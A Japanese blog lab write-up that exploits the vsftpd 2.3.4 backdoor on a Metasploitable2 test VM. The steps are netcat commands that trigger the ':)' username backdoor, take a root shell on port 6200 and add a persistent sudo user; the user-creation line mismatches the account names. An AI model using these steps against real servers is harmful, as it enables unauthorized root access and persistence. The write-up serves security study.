vsftpd 2.3.4 脆弱性 リモートから任意のコマンド実行

セキュリティ

1.目的

vsftp2.3.4の脆弱性を利用し、ターゲットマシンのバックドアから任意のコマンドを実行します。

基本的な攻撃の流れは以下の通りです。
1.情報調査ツールを使い、ターゲットの情報を収集 ←nmapで収集
2.脆弱なサービスを特定し、侵入         ←今回の実験

  ・nmapでの情報収集は以下の記事をご覧ください。


※注意事項※
このブログの記事はセキュリティ向上を目的として、自分の所有する機器に実験を行います。
他者の機器やネットワークで試すことは絶対にしないでください。
詳しくはこちら

2.脆弱性について

vsftp 2.3.4をExploit Databaseで検索すると、
「Backdoor Command Execution」という脆弱性があることがわかりました。

・Exploit Database
https://www.exploit-db.com/

解説によると、
vsftpd 2.3.4にはリモートからコマンド実行を可能とするバックドアが含まれているようです。
「:)」を含むユーザ名でFTPにログインすると、ポート6200にバックドアが開きます。
ポート6200(TCP)にアクセスすることで、vsftpdの実行権限で任意のコマンドを実行できるようです。

3.実験

攻撃用マシン(Kali Linux)からターゲットマシン(Metasploitable2)へ侵入します。

3-1.実験環境

この実験における環境は、次の通りです。

・Kali Linux(攻撃用マシン)
名前:kali
IPアドレス:192.168.238.128/24

・Metasploitable2(ターゲットマシン)
名前:metasploitable
IPアドレス:192.168.238.130/24

※実験用マシンの準備は以下ご参照ください。

  ・攻撃用マシン(Kali Linux)の構築

  ・ターゲットマシン(Metasploitable2)の構築

3-2.実験開始

まず、ターゲットマシン上のポート6200(TCP)は開いていません。

msfadmin@metasploitable:~$ netstat -na | grep 6200
(出力なし)


では、攻撃用マシン(Kali Linux)からターゲットマシンの
ポート21(FTP)にアクセスしてみます。※「:)」を含むユーザ名

$ nc  192.168.238.130 21
─$ nc 192.168.238.130 21
220 (vsFTPd 2.3.4)
User 1234:)  ←Userコマンドを入力し、「:)」を含めたユーザ名を入力する
331 Please specify the password.
Pass hoge   ←Passコマンドを入力し、適当な文字列を入力する

「1234:)」なんてユーザはいないので、もちろんログインは失敗します。
しかし、ログインを試みた時点でターゲットマシンのポート6200(TCP)が開いていることがわかります。

msfadmin@metasploitable:~$ netstat -na | grep 6200
tcp     0    0 0.0.0.0:6200      0.0.0.0:*      LISTEN



攻撃用マシン(Kali Linux)で別のターミナルを起動し、
ターゲットマシンのポート6200にアクセスします。
すると、プロンプトは返ってこないが、任意のコマンドを実行できることがわかります。

$ nc -nv 192.168.238.130 6200
─$ nc -nv 192.168.238.130 6200
(UNKNOWN) [192.168.238.130] 6200 (?) open
whoami  ←whoamiコマンドを入力すると、rootが返ってくる
root

root権限なのでほとんどのコマンドが通ります。
例えば、バックドア用の新しいユーザを作成し、いつでも侵入できるようにすることも可能です。

─$ nc -nv 192.168.238.130 6200
(UNKNOWN) [192.168.238.130] 6200 (?) open
whoami
root
useradd -m eido -G sudo -s /bin/bash; passwd newuser ←新しいユーザ作成
Enter new UNIX password: eido
Retype new UNIX password: eido
passwd: password updated successfully
exit


これが今回の脆弱性となります。

4.まとめ

先ほど紹介したサイト(Exploit Database)を確認すると、
Metasploitに含まれているソースコードを確認することができます。
ソースコードは結構長く記述されてますが、ポイントとなる攻撃の流れを確認するだけであれば、
細かい文法を気にする必要はありません。
他にも様々なExploitが載っており、見ているだけで勉強になると思います。

参考サイト、文献

ハッキング ラボのつくりかた 仮想環境におけるハッカー体験学習

価格:6,335円
(2021/12/16 01:03時点)